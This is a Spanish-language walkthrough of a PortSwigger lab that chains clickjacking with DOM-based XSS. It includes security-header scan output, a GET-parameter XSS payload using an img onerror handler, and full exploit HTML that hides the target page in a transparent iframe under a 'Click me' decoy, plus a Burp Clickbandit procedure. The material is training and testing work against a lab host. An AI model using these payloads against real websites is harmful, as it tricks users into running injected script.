Entrada

Exploiting clickjacking vulnerability to trigger DOM-based XSS

Laboratorio de Portswigger sobre Clickjacking

Exploiting clickjacking vulnerability to trigger DOM-based XSS

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad de XSS que se activa mediante un click. Debemos construir un ataque de Clickjacking que engañe al usuario para que haga click en el botón "Click me" y llame a la función print()


Guía de clickjacking

Antes de completar este laboratorio es recomendable leerse esta guía de clickjacking https://justice-reaper.github.io/posts/Clickjacking-Guide/

Resolución

Al acceder a la web vemos esto

Si hacemos click sobre Submit feedback vemos que tenemos un formulario que podemos rellenar

Si enviamos algo de contenido nos responde con este texto y hace alusión al nombre que hemos introducido

Si pulsamos sobre View post vemos que hay una sección de comentarios

Para ver si una web es vulnerable a Clickjacking podemos usar la herramienta shcheck https://github.com/santoru/shcheck.git para identificar las cabeceras de seguridad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# shcheck.py -i -x -k https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/        

======================================================
 > shcheck.py - santoru ..............................
------------------------------------------------------
 Simple tool to check security headers on a webserver 
======================================================

[*] Analyzing headers of https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
[!] URL Returned an HTTP error: 404
[*] Effective URL: https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
[!] Missing security header: X-XSS-Protection
[!] Missing security header: X-Frame-Options
[!] Missing security header: X-Content-Type-Options
[!] Missing security header: Strict-Transport-Security
[!] Missing security header: Content-Security-Policy
[!] Missing security header: X-Permitted-Cross-Domain-Policies
[!] Missing security header: Referrer-Policy
[!] Missing security header: Expect-CT
[!] Missing security header: Permissions-Policy
[!] Missing security header: Cross-Origin-Embedder-Policy
[!] Missing security header: Cross-Origin-Resource-Policy
[!] Missing security header: Cross-Origin-Opener-Policy

[*] No information disclosure headers detected

[*] No caching headers detected
-------------------------------------------------------
[!] Headers analyzed for https://0a7b006303c26c1f81e366e3002500bf.web-security-academy.net/
[+] There are 0 security headers
[-] There are not 12 security headers

Si preferimos usar una herramienta web podemos usar securityheaders https://securityheaders.com/

En este caso, vemos que la web no tiene ni Content-Security-Policy (CSP) ni X-Frame-Options, lo cual la hace vulnerable a Clickjacking

Históricamente, el Clickjacking se ha utilizado para realizar acciones como aumentar los "me gusta" en una página de Facebook. Sin embargo, la verdadera potencia del Clickjacking se revela cuando se utiliza como un vector para otro ataque, como un DOM XSS. La implementación de este ataque combinado es relativamente sencilla, suponiendo que el atacante haya identificado primero la vulnerabilidad de XSS. Luego, el exploit XSS se combina con la URL del iframe, de modo que el usuario haga click en el botón o enlace y, en consecuencia, ejecute el ataque de DOM XSS

Si nos fijamos en el código fuente de la página desde la que se envía el formulario vemos que se carga un archivo .js

Si hacemos click sobre el enlace y accedemos a /resources/js/submitFeedback.js vemos este código JavaScript. Si nos fijamos bien se está usando innerHTML, esta propiedad es un sink que nos permite inyectar código HTML y JavaScript

Enviamos este payload

Al pulsar en Submit feedback vemos que podemos inyectar código HTML

Ahora vamos a comprobar que podemos ejecutar código JavaScript

Al pulsar sobre Submit feedback vemos que funciona

Algunos sitios web que requieren completar y enviar formularios permiten rellenar previamente los datos del formulario mediante parámetros GET antes del envío. Dado que los valores GET forman parte de la URL, la URL de destino puede modificarse para incorporar valores elegidos por el atacante

Hay otros sitios web que pueden requerir interacción por parte del usuario, como que el usuario ingrese manualmente los datos, complete pasos previos (como una verificación CAPTCHA) antes de habilitar el envío, etc

Para comprobar si el formulario permite rellenar previamente los datos mediante parámetros GET, lo primero que necesitamos hacer es identificar los nombres de los campos. En este caso vemos que el valor del campo a rellenar es name

El siguiente paso es añadir el parámetro name a la URL y ver si se rellena el campo name del formulario, para ello, accedemos a https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=test y vemos que sí que funciona

Para rellenar los demás campos lo tenemos que hacer de esta manera. Lo que hace este payload es rellenar todos los campos del formulario y luego desplazarnos al id feedbackResult, el cual corresponde al botón del envío

1
/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult

Una vez comprobado esto vamos a enlazar ambas vulnerabilidades para causar un mayor impacto, para ello, nos dirigimos al Exploit Server y pegamos este payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.3;
       z-index: 2;
   }
   div {
       position:absolute;
       top:620px;
       left:75px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

Pinchamos sobre View exploit y vemos que todo está bien centrado

Cambiamos la opacidad a 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0;
       z-index: 2;
   }
   div {
       position:absolute;
       top:620px;
       left:75px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

Probamos que funciona pulsando sobre View exploit > Click me y posteriormente le enviamos el exploit a la víctima pulsando Deliver exploit to victim

Otra forma alternativa sería usando la herramienta Clickbandit de Burpsuite, para usarla nos dirigimos a Burpsuite y pulsamos Burp > Burp Clickbandit

Pulsamos sobre Copy Clickbandit to clipboard

Nos dirigimos a Chrome, accedemos a https://0abc00e1044662e9828fa7c9008500b8.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult, nos abrimos la consola de desarrollador y pegamos ahí todo el código

Una vez hecho esto nos saldrá este menú

Marcamos la casilla Disable click actions para desactivar los clicks. Una vez hecho esto pulsamos en Start

Lo siguiente sería pulsar sobre el botón que queremos, en este caso sobre Submit feedback que es el que queremos usar para el ataque de Clickjacking

Una vez hecho esto, pulsamos sobre Finish y se nos mostrará como es nuestro payload actualmente

Usando los símbolos - y +, podemos subir o bajar el aumento, y con Toogle transparency podemos activar o desactivar la transparencia. En mi caso, lo voy a dejar de esta forma. Cuando ya lo tengamos como queremos, pulsamos en Save y se nos descargará un documento HTML

Pegamos el código en el Exploit server

Pulsamos sobre View exploit para ver si se ve correctamente

Hacemos click sobre el botón y vemos que podemos explotar el XSS

Esta entrada está licenciada bajo CC BY 4.0 por el autor.